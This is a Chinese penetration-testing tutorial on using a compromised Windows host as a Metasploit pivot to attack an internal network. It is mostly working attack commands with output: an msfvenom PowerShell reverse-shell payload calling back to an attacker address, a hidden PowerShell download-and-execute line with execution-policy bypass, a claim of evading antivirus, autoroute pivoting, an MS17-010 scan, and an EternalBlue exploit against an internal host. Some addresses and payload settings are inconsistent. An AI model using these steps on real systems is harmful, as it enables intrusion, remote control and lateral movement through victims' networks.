【技术分享】使用 MSF 路由转发实现MSF框架的内网渗透

http://p4.qhimg.com/t014125d6bf68f24b99.jpg

作者:myles007

预估稿费:300RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

一、利用过程

1.1 利用背景

我们在渗透的过程中常常会遇到这种场景:我们已经通过web渗透拿下一台内网服务器,为了进一步进行内网渗透,我们会利用“沦陷主机”作为跳板进行进一步的内网渗透,而内网渗透的思路和方法可能很多,但是使用起来并不是很方便,可能会需要很庞大的工具箱的支持,具体内容这里不做展开说明。

我们现在假设的场景是,此时我们已经拿下一台内网服务器的远程桌面环境,在进行内网渗透时,发现内网有大量存MS17-010的漏洞主机,如果我们想拿下这些主机,可能就要动用NSA工具箱,但是此工具箱的使用相当的麻烦,此时我们第一时间想起的一定是神器Metasploit,其是进行内网渗透的一把利器,且使用方便,但是我们同样不能将这么大的一个框架部署到“沦陷的主机”上吧。那么问题来了,我们有没有好的办法直接使用我们外网已经搭建好的MSF框架呢?这里提供大家一个思路,我们是不是可以利用“沦陷主机”作为跳板,来实现使用MSF框架直接对内网主机的直接渗透呢?答案是当然的,MSF框架为我们提供了一个很好功能跳板版能模块,此模块可以为我们添加一条转发路由去往内网,具体内容会在下面的文档中为大家揭晓。

1.2 利用场景拓扑

 http://p7.qhimg.com/t01b155a949dd0b499b.png

1.3 利用场景思路

本篇文档,我们使用的方法和思路,就是结合powershell ps1 攻击载荷来在“沦陷主机”上直接反弹回一个session会话,然后利用此session会话作为MSF访问内网的跳板(即路由的下一跳(nexthop)网关),从而来实现MSF直接对内网主机资源的直接访问。

利用条件:

(1)已经拿下的webshell 的 Windows服务器; 

(2)powershell ps1会话反弹 

(3)MSF跳板路由添加 


二、利用过程分析

2.1 生成powershell反弹

如果想要利用MSF攻击平台直接对内网其他主机进行渗透攻击,那么我们的MSF平台需要要有去往“目标内网的路由”,但是我们知道“目标内网服务器”除了对外服务的服务器我们可以直接访问,其实内网其他主机都是私有IP,无法由互联网直接访问的,这时我就需要在MSF平台添加一条路由去往内网,而MSF平台就有这个“路由转发的功能”,而且这一去往内网路由的下一跳就是建立在MSF平台与“目标主机”之间session会话上的。所以,我们在使用MSF路由转发功能时,首先就是要先建立一个“MSF平台”与“目标主机”的session会话。

因为笔者前面已经说过直接产生dll 反弹shell的方法,这里就在学习与记录下反弹powershell ps1的shell反弹过程。

2.1.1 使用MSF生成一个反弹的 ps1的shell

反弹shell生成语句如下:

msfvenom  -p   windows/x64/meterpreter/reverse_tcp  lhost=192.168.1.123   lport=12345  -f  psh-reflection>/tmp/search.ps1

注:可能会有小伙伴会问,为什么不直接使用MSF生产一个反弹shell就好了,说的没错直接使用MSF生产一个反弹shell也是可以的,只是可能如果服务器上有相关的杀软的话,可能就会被干掉,我这里直接使用这一刚刚暴露出的漏洞其有很好的过杀软的作用,且其可用利用系统访问范围几乎是全覆盖的,同时本人是想把此漏洞的实战利用价值和思维也带给大家。

2.1.2 上传search.ps1到目标主机

生成完ps1 shell后,想办法将search.ps1上传到目标服务器,为下一步漏洞的触发调用做好准备,这里笔者就直上传了到服务器桌面。

注:可能有很多小伙伴看过网上的教程,对此有些疑问,网上给出的使用方法,一般是将这shell脚本通过web服务发布到网上,然后利用用户点击快捷方式的时候触发shell下载,然后执行shell获取一个shell反弹。 

我这里的实际环境是,我们已经获取了目标站点的shell,可以直接上传这个shell,然后让然漏洞利用直接在本地执行,无需再去网络上下载。

2.1.3 本地生成一个powershell 本地快捷方式

首先,输入快捷方式调用的对象位置,具体的powershell 本地调用方式的语句如下:

powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('C:UsersMylesDesktopshell.ps1');test.ps1"

随后,我将这个powershell快捷方式命名为poweshell.exe。

2.1.4 开启MSF本地监听

在LNK漏洞环境都准备完毕后,接下就是开启远端的监听了,等待漏洞触发反弹出一个shell出来,具体MSF开启端口监听的命令如下。

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
show options
set LHOST 192.168.1.123
set lport  12345  
exploit

2.1.5 主动触发漏洞获取反弹shell

MSF监听已经开了,反弹shell也已经上传,现在我们只要主动触发shell反弹即可。即,我们只要双击桌面快捷方式,即可反弹出一个shell到远端的MSF监听,我很快就可以看到MSF的会话监听已经打开,shell已经反弹成功,成功获取一个MSF与目标主机的session会话。

再次解惑: 

可能前面我们做了这么多工作,还是有小伙伴并不清楚我们要做什么,可能还回吐槽说我们都已经获取目标主机的控制权限了,还要创建个MSF的session会有啥意义呢? 

其实我们回到文档的开头,回到标题我们可能就会知道我们为什么要获取一个“目标主机与MSF的session会话”了,我创建这个session就是为了能使用MSF这个框架对内网的其他主机做进一步的渗透了,有个这个session,我们的外网MSF攻击平台就能利用这个session帮助我们与内网主机的通信提供数据路由转发,下面一个节会详细给大家介绍有关MSF路由添加功能的实现。

2.2 MSF跳板功能

2.2.1 基本概念

MSF的跳板功能,其实是MSF框架中自带的一个路由转发功能,其实现过程就是MSF框架在已经获取的meterpreter shell的基础上添加一条去往“内网”的路由,此路由的下一跳转发,即网关是MSF攻击平台与被攻击目标建立的一个session会话,具体理解大家可以看见前面的1.2章节的拓扑图。

通过msf添加路由功能,可以直接使用msf去访问原本不能直接访问的内网资源,只要路由可达了那么我们使用msf的强大功能,想干什么就干什么了。

2.2.2 msf 跳板实现过程

2.2.2.1 基本过程

(1)需要有一个已经获取的meterpreter 会话; 

(2)获取内网地址网段 

(3)在MSF平台上添加去往“内网网段”的路由 

2.2.2.2 实现过程

(1) 已经获取一个meterpreter shell 

第1个条件,是我们要想办法获取一个MSF攻击平台与目标主机的shell会话(meterpreter),然后利用此会话。具体获取meterpreter会话的方法很多,本演示案列中是以powershell ps1 反弹一个会话为演示,具体内容请见后面复现过程。

MSF 路由添加帮助查询命令如下:

meterpreter > run autoroute -h

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
[*] Usage:   run autoroute [-r] -s subnet -n netmask
[*] Examples:
[*]   run autoroute -s 10.1.1.0 -n 255.255.255.0  # Add a route to 10.10.10.1/255.255.255.0
[*]   run autoroute -s 10.10.10.1                 # Netmask defaults to 255.255.255.0
[*]   run autoroute -s 10.10.10.1/24              # CIDR notation is also okay
[*]   run autoroute -p                            # Print active routing table
[*]   run autoroute -d -s 10.10.10.1              # Deletes the 10.10.10.1/255.255.255.0 route
[*] Use the "route" and "ipconfig" Meterpreter commands to learn about available routes
[-] Deprecation warning: This script has been replaced by the post/multi/manage/autoroute module

(2)获取目标内网地址段 

具体获取被攻击目标内网地址网段的命令如下所示:

meterpreter > run get_local_subnets

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
Local subnet: 172.17.0.0/255.255.0.0

由上可以获知,目标内网网段是“172.17.0.0./24”

(3)添加去往目标网段的转发路由 

在meterpreter 会话上直接添加去往目标网段的路由,具体添加方法如下所示。

meterpreter > run autoroute -s 172.17.0.0/24

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
[*] Adding a route to 172.17.0.0/255.255.255.0...
[+] Added route to 172.17.0.0/255.255.255.0 via 10.48.8.234
[*] Use the -p option to list all active routes
添加网路由后,我们来查看下路由的添加情况如何,具体命令如下所示:
meterpreter > run autoroute -p

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]

Active Routing Table
====================

   Subnet             Netmask            Gateway
   ------             -------            -------
   172.17.0.0         255.255.255.0      Session 3

注:由以上内容,我们可以看到出添加了一条路由:

目标:172.17.0.0 掩码:255.255.25.0 下一跳网关:Session 3 

这里的 Session 3,即当前被攻击目标主机与MSF平台建立的meterperter会话。

OK, MSF平台有了去往内网网段的路由,我们就可以直接使用MSF平台对内网的主机进行进一步的渗透利用了。


三、案列场景复现

3.0 复现场景拓扑

(1)MSF平台:192.168.10.109 

(2)目标主机:10.48.8.234 

(3)目标网段:10.48.8.0/24 

具体复现的场景,就是1.2章节网络环境拓扑。

http://p7.qhimg.com/t01b155a949dd0b499b.png

3.1 打开MSF本地监听

为了接受目标主机反弹回来的meterperter shell,我们需要首先打开一个MSF本地监听端口,等待会话的反弹,具体操作过程如下。

msfconsole
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set lhost 192.168.10.109
set lport 12345
exploit

http://p2.qhimg.com/t0108a3fc39945497ae.png

3.2 使用powershell ps1 获取一个meterpreter

3.2.1 生成 powershell ps1攻击载荷

此时我们已经获取了目标主机的windows控制权限,接下来我们直接使用MSF生成一个ps1反弹shell;

msfvenom  -p   windows/x64/meterpreter/reverse_tcp  lhost=192.168.100.109   lport=12345  -f  psh-reflection>/tmp/search.ps1

http://p8.qhimg.com/t010dabab5ee1988be6.png

3.2.2 上传反弹shell到目标主机

在生成反弹shell后,我们就是直接上传search.ps1 攻击载荷到目标主机。

 http://p5.qhimg.com/t01229fe9bfdb701cea.png

3.2.3 触发 powershell 反弹shell

利用上传的search.ps1 攻击payload,在目标主机上生成一个powershell 本地快捷方式,然后点击快捷方式触发powershell ps1利用,反弹一个shell会话到MSF平台。有关poershell ps1 快捷方式的语句如下所示(具体详细使用情况可参见章节:2.1.3)。

powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('C:UsersMylesDesktopshell.ps1');test.ps1"

http://p8.qhimg.com/t01fb4c56f7fb2722e2.png

注:直接复制上面的语句到创建快捷方式的“请键入对象的位置”即可,但是各位自操作时,请注意serach.ps1的物理位置,不要搞错。

3.3 获取内网网段信息

在MSF平台监听端,我们获取反弹的shell后(即session),我们可以直接在meterpreter控制终端进行目标网段信息的查询,具体查询命令如下。

meterpreter > run get_local_subnets

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
Local subnet: 10.48.8.0/255.255.255.0
Local subnet: 169.254.0.0/255.255.0.0
meterpreter >

http://p1.qhimg.com/t01ac2bd46d4e3b9e67.png

通过内网本地路由查询,可以获悉内网网段地址为:10.48.8.0/24

3.4 添加目标网段路由

我们在获知目标内网网段路由为10.48.8.0/24后,接下来就是添加去往目标内网网段(10.48.8.0/24)的静态路由,添加路由的具体命令执行如下。

meterpreter > run autoroute -s 10.48.8.0/24

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
[*] Adding a route to 10.48.8.0/255.255.255.0...
[+] Added route to 10.48.8.0/255.255.255.0 via 10.48.8.234
[*] Use the -p option to list all active routes
meterpreter >

http://p5.qhimg.com/t0150bfa9633262b9de.png

3.5 内网主机渗透

我们将去往内网的路由打通后,接下来就可以使用MSF平台直接对内网主机扫描和进行各种高危漏洞的直接渗透利用了。

3.5.1 退到后台

首先我们需要退到MSF攻击平台的操作面,为后面调用其他攻击模块做好准备,具体操作如下。

meterpreter > background 
[*] Backgrounding session 2...
msf exploit(handler) > sessions -i

Active sessions
===============

  Id  Type                     Information                Connection
  --  ----                     -----------                ----------
  2   meterpreter x64/windows  admin-PCadmin @ ADMIN-PC  192.168.10.109:12345 -> 10.48.8.234:53462 (10.48.8.234)

http://p3.qhimg.com/t0173402d9b5c51ef2a.png

3.5.2 漏洞主机发现

通过目标主机,我们可以直接使用MSF下的扫描模块进行主机发现与扫描,这里我们直接使用最近流行的“永恒之蓝”漏洞扫描模块进行网络主机漏洞扫描。

use auxiliary/scanner/smb/smb_ms17_010 
show options
set rhosts 10.48.8.0/24
set threads 50
run

http://p6.qhimg.com/t013fb3403fc8d33c28.png

通过主机漏洞扫描,我们发现10.48.8.236主机存在一个MS17-010漏洞。

3.5.3 调用攻击载荷

通过目标主机我们扫描发现内网有台主机存在MS17-010漏洞(10.48.8.236),我们现在直接使用使用MSF平台调通“永恒之蓝”漏洞攻击载荷,进行攻击获取主机控制权限,操作过程如下。

msf exploit(handler) > use exploit/windows/smb/ms17_010_eternalblue 
msf exploit(ms17_010_eternalblue) > set rhost 10.48.8.236
rhost => 10.48.8.236
msf exploit(ms17_010_eternalblue) > exploit

http://p3.qhimg.com/t01a8ed5d24093b5563.png

http://p7.qhimg.com/t019e01c297dd67bdb6.png

自此我们使用 "MSF 的跳转路由转发",直接使用外网的MSF平台实现对内网私有主机的攻击演示结束,好了打完收工,各位看客有钱的捧个钱场,没钱的捧个人场,开个玩笑。

注:以上内容仅为个人学习所用,请勿用于非法攻击。


学习参考

http://www.metasploit.cn/thread-1644-1-1.html

http://www.91ri.org/9560.html

(完)